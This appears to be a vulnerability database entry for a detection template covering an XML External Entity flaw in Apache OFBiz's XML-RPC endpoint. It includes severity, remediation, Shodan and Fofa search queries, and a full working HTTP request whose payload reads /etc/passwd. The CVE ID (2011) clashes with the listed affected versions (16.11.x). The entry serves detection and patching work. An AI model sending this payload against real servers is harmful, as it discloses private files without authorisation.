| Title | Apache OFBiz - XML External Entity Injection |
|---|---|
| Author | daffainfo,pikpikcu |
| Severity | High |
| Impact | Attackers can disclose sensitive filesystem data, probe network ports, and determine file existence, leading to information disclosure and potential further exploitation. |
| Remediation | Update to the latest OFBiz version or apply security patches addressing XML external entity vulnerabilities. |
| CVSS Score | 7.5 |
| EPSS Score | 0.37264 |
| CVE ID | CVE-2011-3600 |
| CWE ID | CWE-611 |
| Shodan Query | http.html:"ofbiz"ofbiz.visitor= |
| Fofa Query | body="ofbiz"app="apache_ofbiz" |
| Tags | cve cve2011 apache ofbiz xxe vuln vkev |
The /webtools/control/xmlrpc endpoint in OFBiz XML-RPC event handler is exposed to External Entity Injection by passing DOCTYPE declarations with executable payloads that discloses the contents of files in the filesystem. In addition, it can also be used to probe for open network ports, and figure out from returned error messages whether a file exists or not. This affects OFBiz 16.11.01 to 16.11.04.
POST /webtools/control/xmlrpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Content-Length: 143
Content-Type: application/xml
Accept-Encoding: gzip
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file:////etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-3600.yaml
🦈 Packet Capture: ⬇️ Download cve-2011-3600.pcap
N/AN/A